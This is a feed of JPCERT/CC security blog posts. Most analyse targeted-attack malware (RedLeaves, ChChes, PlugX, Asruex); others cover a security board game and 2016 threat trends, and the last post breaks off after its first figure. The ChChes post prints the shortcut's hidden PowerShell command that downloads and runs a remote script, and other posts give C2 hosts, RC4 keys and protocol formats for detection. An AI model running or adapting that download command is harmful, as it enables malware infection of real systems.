25 posts categorized "#Trends in Japan" Feed

Apr 03, 2017

RedLeaves - Malware Based on Open Source RAT

Hi again, this is Shusei Tomonaga from the Analysis Center.

Since around October 2016, JPCERT/CC has been confirming information leakage and other damages caused by malware ‘RedLeaves’. It is a new type of malware which has been observed since 2016 in attachments to targeted emails.

This entry introduces details of RedLeaves and results of our analysis including its relation to PlugX, and a tool which is used as the base of this malware.

How RedLeaves runs

To have the RedLeaves injected into the process of Internet Explorer, the following steps will be taken (Figure1):

Figure 1: Flow of events until RedLeaves runs
Fig1eng

Malware samples that JPCERT/CC has analysed create the following three files in %TEMP% folder and execute a legitimate application when executed.

  • A legitimate application (EXE file): a signed, executable file which reads a DLL file located in the same folder
  • A Loader (DLL file): a malicious DLL file which is loaded by the legitimate application
  • Encoded RedLeaves (DATA file): Encoded data which is read by the loader

When the legitimate application is executed, it loads the loader located in the same folder through DLL Hijacking (DLL preloading).

The loader, which is loaded in the legitimate application, reads and decodes the encoded RedLeaves and then executes it. The executed RedLeaves launches a process (Internet Explorer) depending on its configuration, and injects itself there. Then, RedLeaves starts running in the injected process. The following section explains the behaviour of the injected RedLeaves.

Behaviour of RedLeaves

RedLeaves communicates to specific sites by HTTP or its custom protocol and executes commands that are received. Figure 2 is the PE header of the injected RedLeaves. Strings such as “MZ” and “PE” are replaced with “0xFF 0xFF”.

Figure 2: Injected RedLeaves
Fig2

The injected RedLeaves connects to command and control (C&C) servers by HTTP POST request or its custom protocol. Destination hosts and communication methods are specified in its configuration. Please refer to Appendix A for more information.

Below is an example of the HTTP POST request. Table B-1 and B-2 in Appendix B describe the format of the data sent.

POST /YJCk8Di/index.php
Connection: Keep-Alive
Accept: */*
Content-Length: 140
Host: 67.205.132.17:443

[Data]

The data is encrypted with RC4 (the key is stored in its configuration) and contains the following:

__msgid=23.__serial=0.clientid=A58D72524B51AA4DBBB70431BD3DBBE9

The data received from the C&C servers contain commands. Depending on the received commands, RedLeaves executes the following functions (Please see Table B-3 in Appendix B for the details of received data):

  • Operation on files
  • Execute arbitrary shell commands
  • Configure communication methods
  • Send drive information
  • Send system information
  • Upload/download files
  • Screen capture
  • Execute proxy function

Base of RedLeaves’s Code

JPCERT/CC analysed RedLeaves and confirmed that its code has a lot in common with the source code of Trochilus[1], a type of RAT (Remote Administration Tool), which is available on Github. Figure 3 shows part of the code to process received data. It is clear that it processes the same data as listed in Table B-3 in Appendix B.

Figure 3: Part of Trochilus’s source code
Fig3_2

It is presumed that RedLeaves is built on top of Trochilus’s source code, rather than from scratch.

Relation to PlugX

Comparing RedLeaves samples that JPCERT/CC has observed with PlugX, used by certain attacker groups in the past, we identified that similar code is used in some processes. Below are the sequence of instructions observed when the sample creates three files (a legitimate application, a loader and encoded RedLeaves or PlugX).

Figure 4: Comparison of file creation process
Fig4

Furthermore, the process in which the loader decodes the encoded data (encoded RedLeaves or PlugX) is similar.

Figure 5: Comparison of file decode process
Fig5

JPCERT/CC has also confirmed that some of the RedLeaves and PlugX samples that share the above code also communicate with common hosts. From this observation, it is presumed that the attacker group using RedLeaves may have used PlugX before.

Summary

RedLeaves is a new type of malware being observed since 2016 in attachments to targeted emails. Attacks using this malware may continue.

The hash values of the samples introduced here are listed in Appendix C. Some of the RedLeaves’ destination hosts that JPCERT/CC has confirmed are also listed in Appendix D. Please check your devices for any suspicious communication with such hosts.

- Shusei Tomonaga

(Translated by Yukako Uchida)


Reference

[1] Trochilus: A fast&free windows remote administration Tool

https://github.com/5loyd/trochilus

Appendix A: Configuration information
Table A: List of Configuration Information
OffsetDescriptionRemarks
0x000 Destination 1
0x040 Destination 2
0x080 Destination 3
0x0C0 Port number
0x1D0 Communication mode 1=TCP, 2=HTTP, 3=HTTPS, 4=TCP and HTTP
0x1E4 ID
0x500 Mutex
0x726 Injection Process
0x82A RC4 key Used for encrypting communication

RC4 key examples:

  • Lucky123
  • problems
  • 20161213
  • john1234
  • minasawa
Appendix B: Communicated data
Table B-1: Format of data sent through HTTP POST request
OffsetLengthContents
0x00 4 Length of data encrypted with RC4 (XOR encoded with the first 4 bytes of the RC4 key)
0x04 4 Server id (XOR encoded with the first 4 bytes of the RC4 key)
0x08 4 Fixed value
0x0C - Data encrypted with RC4

Table B-2: Format of data sent through its custom protocol
OffsetLengthContents
0x00 4 Random numerical value
0x04 4 Fixed value
0x08 4 Length
0x0C 4 Length of data encrypted with RC4 (XOR encoded with the first 4 bytes of the RC4 key)
0x10 4 Server id (XOR encoded with the first 4 bytes of the RC4 key)
0x14 4 Fixed value
0x18 - Data encrypted with RC4

Table B-3: Contents in received data
StringTypeContents
__msgid Numeric Command
__serial Numeric
__upt true, etc. Whether the command is executed by a thread
__data data Command parameter, etc.
Appendix C: SHA-256 hash value of the samples

RedLeaves

  • 5262cb9791df50fafcb2fbd5f93226050b51efe400c2924eecba97b7ce437481

PlugX

  • fcccc611730474775ff1cfd4c60481deef586f01191348b07d7a143d174a07b0
Appendix D: Communication destination host
  • mailowl.jkub.com
  • windowsupdates.itemdb.com
  • microsoftstores.itemdb.com
  • 67.205.132.17
  • 144.168.45.116

Mar 28, 2017

Board game on Cyber Security for Awareness Raising

Hi this is Sho Aoki from Watch and Warning Group.

Have you ever tried “game-based learning”?

Learning through games is useful since it is not only fun and easy, but also provides opportunities for thinking. It has been applied widely for educational purposes. In the area of cyber security as well, there are board games released from security vendors, and they have been conducted at schools and companies.

Today I would like to introduce “SEC WEREWOLF”.

Board game package
Secwerewolf

This board game was released by Japan Network Security Association (JNSA) [1], which is an NPO consisting of information security related organizations (mainly vendors) in Japan. They aim to raise awareness and provide information security solutions through various activities. One of their Working Group activities is to promote game-based learning, where this board game was developed. JPCERT/CC is also part of this Working Group.

“SEC WEREWOLF” is a board game based on a famous party game “Werewolf” (also known as “Mafia”), which is a communication type game between a group of “villagers” and “werewolves” who attack villagers. Players probe other players in an attempt to find enemies to eliminate. In “SEC WEREWOLF”, “villagers” work as “CSIRT members” in an organisation, while “werewolves” are the evils in the organisation who are engaged in corruption.

STORY

“Corrupt workers” have been stealing confidential information of their organisation with the assistance from “Black hat hackers” and gaining profit out of the information. However, the management finds out about the malicious act. “Corrupt workers”, who have been dissatisfied about the company’s treatment, try to put the blame on other employees and get them fired. A CSIRT is launched to retrieve a peaceful workplace and deal with issues with an aim to get rid of the corrupt workers.

HOW TO PLAY (Overview)

  1. Players pick up a role card to decide which team they belong to (CSIRT or attackers)
  2. All the players have a conversation without disclosing their roles to figure out who are the “corrupt workers”. “Corrupt workers” will also pretend to be a CSIRT member.
  3. Out of the conversation, each player points out the person who they think is the “corrupt worker” at the end of the turn. The person who has the higher number of votes is dismissed from the game. “Corrupt workers” secretly put the blame to a CSIRT member to get them out of the game.

Process 2 and 3 will be repeated until either of the following conditions is met:

a) All the “corrupt workers” are dismissed (CSIRT wins)

b) The number of remaining “corrupt workers” becomes the same as CSIRT members (“Corrupt workers” win)

Among the board games on cyber security, “SEC WEREWOLF” is relatively easy and suitable for beginners since there is not much prerequisite. This game presents the concept of cyber security and roles within CSIRTs (some role cards have different technical skills). Furthermore, it comes with post-game materials to learn about internal fraud by looking back on how a “corrupt worker” would behave and what CSIRT members needed to do about it. It is also a good material to learn what kind of personnel a CSIRT would need to have.

A model of internal fraud “the Fraud Triangle”, was proposed by D.R. Cressey, a criminologist from the US. It suggests that internal fraud can occur when the following three factors are present: Perceived unshareable financial need, Perceived opportunity and Rationalisation [2].

The post-game material provides a review of the game from the above three perspectives. Also, by looking back at the conversation that occurred during the game, the facilitator can guide participants to further discuss lessons learned from the game. Consequently, they can consider what sort of environment they need to establish/maintain to keep their workplace from such fraud.

Facilitator explaining about internal fraud based on the triangle
Facilitator

The Working Group designed this game for people who are not familiar with cyber security. It is often said that cyber security operations are difficult to draw attention from employees unless they are actually involved. Given the current situation where cyber security is a hot topic not only for organisations but also for individuals, it is important to raise security awareness to wide range of employees and users. This board game provides a good opportunity to familiarise the players with the concept of cyber security and the role of CSIRTs.

Role cards
Role_cards
Trial at JPCERT/CC
Trial

To fully utilise this game, it is also important to develop game facilitators. This role is important in presenting the knowhow in cyber security, how CSIRTs work and the components of CSIRT employees, besides just leading the game.

There is another board game about initial response to cyber incidents, which the Working Group is planning to release in the coming Fiscal Year. JPCERT/CC is willing to assist awareness raising activities through the Working Group.

- Sho Aoki

Translated by Yukako Uchida


Reference:

[1] About JNSA

http://www.jnsa.org/en/aboutus/index.html

[2] The Fraud Triangle – The Association of Certified Fraud Examiners

http://www.acfe.com/fraud-triangle.aspx

Mar 01, 2017

Malware Leveraging PowerSploit

Hi again, this is Shusei Tomonaga from the Analysis Center.

In this article, I’d like to share some of our findings about ChChes (which we introduced in a previous article) that it leverages PowerSploit [1] – an open source tool – for infection.

Flow of ChChes Infection

The samples that JPCERT/CC confirmed this time infect machines by leveraging shortcut files. The flow of events from a victim opening the shortcut file until a machine is infected is illustrated in Figure 1.

Figure 1: Flow of events from opening a shortcut file to ChChes infection
Fig1

When the shortcut file is opened, a file containing PowerShell script is downloaded from an external server and then executed. Next, ChChes code (version 1.6.4) contained in the PowerShell script is injected into powershell.exe and executed. The detailed behaviour in each phase is described below.

Behaviour after the shortcut file is opened

When the shortcut file is opened, the following PowerShell script contained in the file is executed.

powershell.exe -nop -w hidden -exec bypass  -enc JAAyAD0AJwAtAG4Abw ~omitted~

The PowerShell script after “-enc” is encoded. Below is the decoded script:

$2='-nop -w hidden -exec bypass -c "IEX (New-Object System.Net.Webclient).DownloadString(''https://goo.gl/cpT1NW'')"';if([IntPtr]::Size -eq 8){$3 = $env:SystemRoot + "\syswow64\WindowsPowerShell\v1.0\powershell";iex "& $3 $2";}else{iex "& powershell $2";}

By executing the above PowerShell script, a file containing PowerShell script is downloaded from a specified URL. The downloaded script is loaded in 32-bit powershell.exe (syswow64\WindowsPowerShell\v1.0\powershell) and executed. The reason why it is executed in 32-bit is considered to be that ChChes’s assembly code contained in the PowerShell script is not compatible with 64-bit environment.

 

Details of the Downloaded PowerShell Script

The downloaded PowerShell script is partially copied from PowerSploit (Invoke-Shellcode.ps1). PowerSploit is a tool to execute files and commands on a remote host and is used for penetration tests.

When the downloaded PowerShell script is executed, it creates document files based on data contained in the script, store the files in the %TEMP% folder and displays them.  We’ve seen different types of documents shown, including Excel and World documents.

 

Next, ChChes code contained in the PowerShell is injected into powershell.exe. The injected ChChes receives commands and modules from C2 servers as explained in the previous blog post. The PowerShell script and the injected ChChes are not saved as files in the infected machines, and ChChes itself only exists in the memory.

Figure 2 is a part of the PowerShell script.

Figure 2: Downloaded PowerShell script
Fig2

Confirming Attack Traces through Event Logs

In environments where PowerShell v5.0 is installed (including Windows 10), the PowerShell script downloaded from remote servers are recorded in the event logs under the default settings (as Figure 3). When you investigate, please check if your logs contain such records.

Figure 3: Contents recorded in Event Logs
Fig3

Such logs can also be obtained in PowerShell v4.0 (Default version of Windows 8.1) by enabling the following Group Policy.

  • Computer Configuration -> Administrative Templates -> Windows Components -> Windows PowerShell -> Turn on PowerShell Script Block Logging

Summary

It is now quite common that PowerShell script is leveraged for attacks. If your event log configuration is not set to record PowerShell execution, it is recommended that you revise the settings in preparation for such attacks. Also, if you are not using PowerShell, it is suggested to restrict the execution by using AppLocker, etc.

-Shusei Tomonaga

(Translated by Yukako Uchida)


References:

[1] PowerSploit

https://github.com/PowerShellMafia/PowerSploit

Appendix A: SHA-256 Hash Values of the samples

PowerShell

  • 4ff6a97d06e2e843755be8697f3324be36e1ebeb280bb45724962ce4b6710297
  • 75ef6ea0265d2629c920a6a1c0d1dd91d3c0eda86445c7d67ebb9b30e35a2a9f
  • ae0dd5df608f581bbc075a88c48eedeb7ac566ff750e0a1baa7718379941db86
  • 646f837a9a5efbbdde474411bb48977bff37abfefaa4d04f9fb2a05a23c6d543
  • 3d5e3648653d74e2274bb531d1724a03c2c9941fdf14b8881143f0e34fe50f03
  • 9fbd69da93fbe0e8f57df3161db0b932d01b6593da86222fabef2be31899156d
  • 723983883fc336cb575875e4e3ff0f19bcf05a2250a44fb7c2395e564ad35d48
  • f45b183ef9404166173185b75f2f49f26b2e44b8b81c7caf6b1fc430f373b50b
  • 471b7edbd3b344d3e9f18fe61535de6077ea9fd8aa694221529a2ff86b06e856
  • aef976b95a8d0f0fdcfe1db73d5e0ace2c748627c1da645be711d15797c5df38
  • dbefa21d3391683d7cc29487e9cd065be188da228180ab501c34f0e3ec2d7dfc

Feb 21, 2017

PlugX + Poison Ivy = PlugIvy? - PlugX Integrating Poison Ivy’s Code -

Hi again, this is Shusei Tomonaga from the Analysis Center.

PlugX is a type of malware used for targeted attacks. We have introduced its new features in the blog article “Analysis of a Recent PlugX Variant - ‘P2P PlugX”. This article will discuss the following two structural changes observed in PlugX since April 2016:

  • the way API is called
  • the format of main module changed from PE to raw binary code

In this article, we will refer to PlugX observed after April 2016 as “New PlugX”, and older versions as “Old PlugX”.

Change in API call

When calling Windows API, Old PlugX used the API names as the key to load the corresponding library functions based on their addresses, which is a similar behaviour of calling APIs from the usual PE files. Therefore, Old PlugX code contains strings of the Windows API names.

In contrast, New PlugX does not contain any API name strings in its code, but instead possesses hash values of those API names. When calling an API, it obtains a list of APIs by using Windows functions and performs hash calculation one by one. The API name whose hash value matches the specified value is set as a key to call an API. This method is used when code without IAT (Import Address Table), meaning code other than PE format, call Windows APIs and is applied within shellcodes. This method is also used by some types of malware in order to conceal API names.

Code in Figure 1 shows how New PlugX is calling the Windows API ‘GetSystemInfo’. “86AA8709h” is the hash value for ‘GetSystemInfo’. Address resolution is performed using the hash value, and it jumps to GetSystemInfo’s address by “jmp eax”.

Figure 1: The function calling for GetSystemInfo
Fig1_plugx_call

In principle, as long as a collision doesn’t occur, any hash algorithm can be used for hashing Windows API names. However, New PlugX uses the same hash algorithm as Poison Ivy. Figure 2 compares the hash function of New PlugX and Poison Ivy.

Figure 2: Windows API hash function for New PlugX (left) and Poison Ivy (right) (Parts that match are in light blue)
Fig2_plugx_diff

Change from PE format to raw code format

While Old PlugX stored the malware in PE format (DLL), New PlugX stores only its code and does not contain a header. A single PlugX sample (‘PlugX Data’ in Fig.3) contained both the encoded version of PlugX and code to decode it (‘Decoding code’ in Figure 3). When the sample is executed, the main module of PlugX (‘PlugX main module’ in Figure 3) is decoded, and it injects itself into another process to be executed in that process. The execution flow in Old PlugX is described in Figure 3.

Figure 3: Execution flow in Old PlugX
Fig3_plugx_old

Figure 4 describes the execution flow in New PlugX. Like Old PlugX,  the main module, which is encoded, injects itself to a process and then it is executed in the process. The big difference is that the main module has been changed from PE format (DLL) in Old PlugX to raw code format in New PlugX.

Figure 4: Execution flow in New PlugX
Fig4_plugx_new

Figure 5 shows the beginning of the decoded main module of PlugX. While Old PlugX had a header that is equivalent to one in a PE format, New PlugX begins with executable code and there is no PE header.

Figure 5: Old PlugX (above) and New PlugX (below) after decoding
Fig5_plugx_form

Summary

Upon upgrading Old PlugX to New PlugX, the developer presumably referred to Poison Ivy which is also used for targeted attacks. As previously explained, New PlugX uses the same hash value for API call as Poison Ivy, but on top of that, the raw code format that New PlugX applies is also one of the features of Poison Ivy. The purpose of the upgrade is thought to complicate malware analysis so that malware can be used for a longer period of time.

We should keep an eye on PlugX because it has been evolving and still constantly used to conduct targeted attacks. At this stage, both New and Old PlugX are still being actively used.

We would like to recommend that you revisit our article since the demonstrated features there (configuration information, communication method, encode format etc.) remain the same in New PlugX.

Thanks for reading.

- Shusei Tomonaga

(Translated by Yukako Uchida)

Feb 15, 2017

ChChes – Malware that Communicates with C&C Servers Using Cookie Headers

Since around October 2016, JPCERT/CC has been confirming emails that are sent to Japanese organisations with a ZIP file attachment containing executable files. The targeted emails, which impersonate existing persons, are sent from free email address services available in Japan. Also, the executable files’ icons are disguised as Word documents. When the recipient executes the file, the machine is infected with malware called ChChes.

This blog article will introduce characteristics of ChChes, including its communication.

ZIP files attached to Targeted Emails

While some ZIP files attached to the targeted emails in this campaign contain executable files only, in some cases they also contain dummy Word documents. Below is the example of the latter case.

Figure 1: Example of an attached ZIP file
Fig1example_of_an_attached_zip_file

In the above example, two files with similar names are listed: a dummy Word document and an executable file whose icon is disguised as a Word document. By running this executable file, the machine will be infected with ChChes. JPCERT/CC has confirmed the executable files that have signatures of a specific code signing certificate. The dummy Word document is harmless, and its contents are existing online articles related to the file name “Why Donald Trump won”. The details of the code signing certificate is described in Appendix A.

Communication of ChChes

ChChes is a type of malware that communicates with specific sites using HTTP to receive commands and modules. There are only few functions that ChChes can execute by itself. This means it expands its functions by receiving modules from C&C servers and loading them on the memory.

The following is an example of HTTP GET request that ChChes sends. Sometimes, HEAD method is used instead of GET.

GET /X4iBJjp/MtD1xyoJMQ.htm HTTP/1.1
Cookie: uHa5=kXFGd3JqQHMfnMbi9mFZAJHCGja0ZLs%3D;KQ=yt%2Fe(omitted)
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: [user agent]
Host: [host name]
Connection: Keep-Alive
Cache-Control: no-cache

As you can see, the path for HTTP request takes /[random string].htm, however, the value for the Cookie field is not random but encrypted strings corresponding to actual data used in the communication with C&C servers. The value can be decrypted using the below Python script.

data_list = cookie_data.split(';')
dec = []
for i in range(len(data_list)):
    tmp = data_list[i]
    pos = tmp.find("=")
    key = tmp[0:pos]
    val = tmp[pos:]
    md5 = hashlib.md5()
    md5.update(key)
    rc4key = md5.hexdigest()[8:24]
    rc4 = ARC4.new(rc4key)
    dec.append(rc4.decrypt(val.decode("base64"))[len(key):])
print("[*] decoded: " + "".join(dec))

The following is the flow of communication after the machine is infected.

Figure 2: Flow of communication
Fig2flow_of_communication

The First Request

The value in the Cookie field of the HTTP request that ChChes first sends (Request 1) contains encrypted data starting with ‘A’. The following is an example of data sent.

Figure 3: Example of the first data sent
Fig3example_of_the_first_data_sent

As indicated in Figure 3, the data which is sent contains information including computer name. The format of the encrypted data differs depending on ChChes’s version. The details are specified in Appendix B.

As a response to Request 1, ChChes receives strings of an ID identifying the infected machine from C&C servers (Response 1). The ID is contained in the Set-Cookie field as shown below.

Figure 4: Example response to the first request
Fig4example_response_to_the_first_r

Request for Modules and Commands

Next, ChChes sends an HTTP request to receive modules and commands (Request 2). At this point, the following data starting with ‘B’ is encrypted and contained in the Cookie field.

B[ID to identify the infected machine]

As a response to Request 2, encrypted modules and commands (Response 2) are sent from C&C servers. The following shows an example of received modules and commands after decryption.

Figure 5: Decrypted data of modules and commands received
Fig5a_received_module_and_command_a

Commands are sent either together with modules as a single data (as above), or by itself. Afterwards, execution results of the received command are sent to C&C servers, and it returns to the process to receive modules and commands. This way, by repeatedly receiving commands from C&C servers, the infected machines will be controlled remotely.

JPCERT/CC’s research has confirmed modules with the following functions, which are thought to be the bot function of ChChes.

  • Encrypt communication using AES
  • Execute shell commands
  • Upload files
  • Download files
  • Load and run DLLs
  • View tasks of bot commands

Especially, it was confirmed that the module that encrypts the communication with AES is received in a relatively early stage after the infection. With this feature, communication with C&C servers after this point will be encrypted in AES on top of the existing encryption method.

Summary

ChChes is a relatively new kind of malware which has been seen since around October 2016. As this may be continually used for targeted attacks, JPCERT/CC will keep an eye on ChChes and attack activities using the malware.

The hash values of the samples demonstrated here are described in Appendix C. The malware’s destination hosts that JPCERT/CC has confirmed are listed in Appendix D. We recommend that you check if your machines are communicating with such hosts.

Thanks for reading.

- Yu Nakamura

(Translated by Yukako Uchida)


Appendix A: Code signing certificate

The code signing certificate attached to some samples are the following:

$ openssl x509 -inform der -text -in mal.cer 
Certificate:
    Data:
        Version: 3 (0x2)
        Serial Number:
            3f:fc:eb:a8:3f:e0:0f:ef:97:f6:3c:d9:2e:77:eb:b9
    Signature Algorithm: sha1WithRSAEncryption
        Issuer: C=US, O=VeriSign, Inc., OU=VeriSign Trust Network, OU=Terms of use at https://www.verisign.com/rpa (c)10, CN=VeriSign Class 3 Code Signing 2010 CA
        Validity
            Not Before: Aug  5 00:00:00 2011 GMT
            Not After : Aug  4 23:59:59 2012 GMT
        Subject: C=IT, ST=Italy, L=Milan, O=HT Srl, OU=Digital ID Class 3 - Microsoft Software Validation v2, CN=HT Srl
        Subject Public Key Info:
(Omitted)
Figure 6: Code signing certificate
Fig6code_signing_certificate
Appendix B: ChChes version

The graph below shows the relation between the version numbers of the ChChes samples that JPCERT/CC has confirmed and the compile times obtained from their PE headers.

Figure 7: Compile time for each ChChes version
Fig7compile_time_for_each_chches_ve

The lists below describe encrypted data contained in the first HTTP request and explanation of the values for each ChChes version.

Table 1: Sending format of each version
VersionFormat
1.0.0 A<a>*<b>?3618468394?<c>?<d>*<f>
1.2.2 A<a>*<b>?3618468394?<c>?<d>*<f>
1.3.0 A<a>*<b>?3618468394?<c>?<d>*<f>
1.3.2 A<a>*<b>?3618468394?<c>?<d>*<g>
1.4.0 A<a>*<b>?3618468394?<c>?<d>*<g>
1.4.1 A<a>*<b>?3618468394?<c>?<d> (<e>)*<g>
1.6.4 A<a>*<b>*<h>?3618468394?<c>?<d> (<e>)*<g>

Table 2: Description of <a> to <h>
LetterDataSizeDetails
<a> Computer name Variable Capital alphanumeric characters
<b> Process ID Variable Capital alphanumeric characters
<c> Path of a temp folder Variable %TEMP% value
<d> Malware version Variable e.g. 1.4.1
<e> Screen resolution Variable e.g. 1024x768
<f> explorer.exe version Variable e.g. 6.1.7601.17567
<g> kernel32.dll version Variable e.g. 6.1.7601.17514
<h> Part of MD5 value of SID 16 bytes e.g. 0345cb0454ab14d7
Appendix C: SHA-256 Hash value of the samples

ChChes

  • 5961861d2b9f50d05055814e6bfd1c6291b30719f8a4d02d4cf80c2e87753fa1
  • ae6b45a92384f6e43672e617c53a44225e2944d66c1ffb074694526386074145
  • 2c71eb5c781daa43047fa6e3d85d51a061aa1dfa41feb338e0d4139a6dfd6910
  • 19aa5019f3c00211182b2a80dd9675721dac7cfb31d174436d3b8ec9f97d898b
  • 316e89d866d5c710530c2103f183d86c31e9a90d55e2ebc2dda94f112f3bdb6d
  • efa0b414a831cbf724d1c67808b7483dec22a981ae670947793d114048f88057
  • e90064884190b14a6621c18d1f9719a37b9e5f98506e28ff0636438e3282098b
  • 9a6692690c03ec33c758cb5648be1ed886ff039e6b72f1c43b23fbd9c342ce8c
  • bc2f07066c624663b0a6f71cb965009d4d9b480213de51809cdc454ca55f1a91
  • e6ecb146f469d243945ad8a5451ba1129c5b190f7d50c64580dbad4b8246f88e
  • e88f5bf4be37e0dc90ba1a06a2d47faaeea9047fec07c17c2a76f9f7ab98acf0
  • d26dae0d8e5c23ec35e8b9cf126cded45b8096fc07560ad1c06585357921eeed
  • 2965c1b6ab9d1601752cb4aa26d64a444b0a535b1a190a70d5ce935be3f91699
  • 312dc69dd6ea16842d6e58cd7fd98ba4d28eefeb4fd4c4d198fac4eee76f93c3
  • 4ff6a97d06e2e843755be8697f3324be36e1ebeb280bb45724962ce4b6710297
  • 45d804f35266b26bf63e3d616715fc593931e33aa07feba5ad6875609692efa2
  • cb0c8681a407a76f8c0fd2512197aafad8120aa62e5c871c29d1fd2a102bc628
  • 75ef6ea0265d2629c920a6a1c0d1dd91d3c0eda86445c7d67ebb9b30e35a2a9f
  • 471b7edbd3b344d3e9f18fe61535de6077ea9fd8aa694221529a2ff86b06e856
  • ae0dd5df608f581bbc075a88c48eedeb7ac566ff750e0a1baa7718379941db86
  • 646f837a9a5efbbdde474411bb48977bff37abfefaa4d04f9fb2a05a23c6d543
  • 3d5e3648653d74e2274bb531d1724a03c2c9941fdf14b8881143f0e34fe50f03
  • 9fbd69da93fbe0e8f57df3161db0b932d01b6593da86222fabef2be31899156d
  • 723983883fc336cb575875e4e3ff0f19bcf05a2250a44fb7c2395e564ad35d48
  • f45b183ef9404166173185b75f2f49f26b2e44b8b81c7caf6b1fc430f373b50b
Appendix D: List of communication destination
  • area.wthelpdesk.com
  • dick.ccfchrist.com
  • kawasaki.cloud-maste.com
  • kawasaki.unhamj.com
  • sakai.unhamj.com
  • scorpion.poulsenv.com
  • trout.belowto.com
  • zebra.wthelpdesk.com
  • hamiltion.catholicmmb.com
  • gavin.ccfchrist.com

Jan 25, 2017

2016 in Review: Top Cyber Security Trends in Japan

Hi, this is Misaki Kimura from Watch and Warning Group.

Another new year has come and gone, and as I look back over about the significant security trends that took place in 2016, it is needless to mention that security threat landscape is ever evolving and increasingly complex. As a basis for what we can prepare for 2017, I’d like to review security headlines in 2016 by referring to the activities carried out in Japan, to look into the expectations to come.

Increase in DDoS built by botnets such as Mirai

Large-scale botnets leveraging Internet of Things (IoT) devices to launch massive DDoS attacks, became a prominent topic worldwide. The Mirai botnet, which was responsible for the series of attacks in recent months, including the DDoS attacks against American journalist’s website “Krebs on Security”, and DNS provider “Dyn”, had brought a huge impact. The word “Mirai” is a Japanese word for “future”, and just as it is interpreted, since the release of Mirai source code last September, it has called a lot of concerns of what poorly secured IoT devices may bring in the future.

In response to this, a technical alert (in Japanese) was released on Japan Vulnerability Notes (JVN) to promote IoT device owners/users in Japan to secure their devices, and organizations were encouraged to place countermeasures towards DDoS attacks. In addition, JPCERT/CC has announced a security alert for awareness raising, and the Information-technology Promotion Agency, Japan (IPA) has also announced an alert (in Japanese) respectively.

Security guidelines concerning IoT were also published from multiple organizations during last year. “IoT Security Guide for Consumers (ver1.0)” (in Japanese) that is intended for readers such as IoT device developers and consumers to take precautions towards IoT devices was published from the Japan Network Security Association (JNSA). Furthermore, “IoT Security Guideline ver1.0” (in Japanese) was announced from the IoT Acceleration Consortium’s IoT Security Working Group, organized by the Ministry of Economy, Trade and Industry (METI) and the Ministry of Internal Affairs and Communications (MIC).

Advanced Persistent Threat (APT) becomes increasingly sophisticated

Since the Japan Pension Service hack in 2015 that led to 1.25 million cases of personal data leak, the Japanese public has been paying attention to targeted attacks than ever before. These types of attacks continued to evolve constantly by developing new tactics, techniques and procedures. Particularly in 2016, we have been observing attacks concerning to malware known as Daserf [1], Asurex [2], Sysget (aka HelloBridge, ZACOM) [3] and Elirks (aka KLURP) [4]. Though the attribution for each malware may differ, a common attack vector is observed - malware infections are attempted by convincing the user to open attachments of spear phishing emails or watering hole attacks.

Amongst all, what specifically grabbed our attention was Daserf. Not only different C2 servers were used for each targeted organization, but the C2 server for each infected device within the organization was also individual. Due to this multiplicity, blacklisting the URLs and IP addresses of C2 servers were no more an effective measure, allowing the threat actors to remain undetected for a long duration of time.

On the other hand, Elirks was also unique in terms of retrieving its C2 server’s IP address – it obtains the IP address by accessing to pre-determined microblog service or SNS. This behavior is deemed to avoid the detection of security products and to flexibly switch the C2 server specified in the content of articles posted on those legitimate services by rewriting the code in it.

In accordance to this situation, at JPCERT/CC, we released a document on “Initial Procedures and Response Guideline for Countering Advanced Persistent Threat” (in Japanese) and also “Report on the Research into Evidence of Attack Tool Execution for Incident Investigation” (released in Japanese, English version will be coming out by the end of first half of 2017 (Title is tentative)). The former aims to enhance effective incident response procedures to deal with APT by providing knowledge on how to detect, analyze and contain the attacks, while the latter aims to promote efficient investigation upon an incident by providing information on actual attack tools used by threat actors and evidence left in log files when executing those tools.

Attack cases on financial theft continues to take place

According to the report (in Japanese) released by the National Police Agency (NPA), financial loss caused by illegal money transfer using Internet banking services that occurred in the first half of 2016 has been greatly reduced both in number of victims and the amount of financial loss of credit unions and corporate accounts. To be more specific, the damage amount in the first half of 2016 was 898 million Japanese yen, which decreased from the second half of 2015 (1.53 billion Japanese yen). However, in terms of personal accounts, the number of victims and amount of financial loss were witnessed at the same level as 2015 on average.

In 2016, Online Banking Trojans that steal IDs and passwords were attached to Japanese written spam emails and sent to Japanese users. Notorious Banking Trojans that were causing damages overseas such as Ursnif (aka: Gozi, Snifula) [5], Shiotob (aka: URLZONE, Bebloh) [6] and KRBANKER [7] (in Japanese), were also beginning to target online users in Japan.

In addition, ransomware continued to keep prevalent this year as well. Based on the report (in Japanese) from TrendMicro, Japanese organizations infected with ransomware in the first half of the year reached to 1,740, which was 7 times higher compared with the same time of 2015. Regarding the amount of financial loss itself, it has become the most significant security threat amongst all to Internet users.

Lastly, one more to note - 2016 was the year for JPCERT/CC to celebrate its 20th anniversary. As long as JPCERT/CC represents as the coordination center for cyber security incidents in Japan, we will continue to endeavor to create cyber space a safer place for all through cooperation and coordination with various partners around the globe. We would like to convey our gratitude for your support and cooperation, and would like to continuously devote the utmost effort in our activities.

Thank you for reading.

- Misaki Kimura


References:

[1] http://www.lac.co.jp/security/report/pdf/cgview_vol2_en.pdf

[2] http://blog.jpcert.or.jp/2016/06/asruex-malware-infecting-through-shortcut-files.html

[3] https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-quantum-entanglement.pdf

[4] http://researchcenter.paloaltonetworks.com/2016/06/unit42-tracking-elirks-variants-in-japan-similarities-to-previous-attacks/

[5] http://blog.trendmicro.com/trendlabs-security-intelligence/ursnif-the-multifaceted-malware/

[6] http://blog.trendmicro.com/trendlabs-security-intelligence/bebloh-expands-japan-latest-spam-attack/

[7] http://blog.trendmicro.co.jp/archives/13683

Jun 30, 2016

Asruex: Malware Infecting through Shortcut Files

JPCERT/CC has been observing malicious shortcut files that are sent as email attachments to a limited range of organisations since around October 2015. When this shortcut file is opened, the host will be infected with malware called “Asruex”. The malware has a remote controlling function, and attackers sending these emails seem to attempt intruding into the targets’ network using the malware. According to a blog article by Microsoft, the malware is associated with an attacker group identified as “DarkHotel” (Microsoft calls it as "Dubnium") [1]. This blog entry will introduce the details of Asruex.

Infection Mechanism of Asruex

Figure 1 describes the chain of events after a victim opens the malicious shortcut file until the host gets infected with Asruex.

Figure 1: Chain of events after a victim opens the malicious shortcut file until the host gets infected with Asruex
Asruex

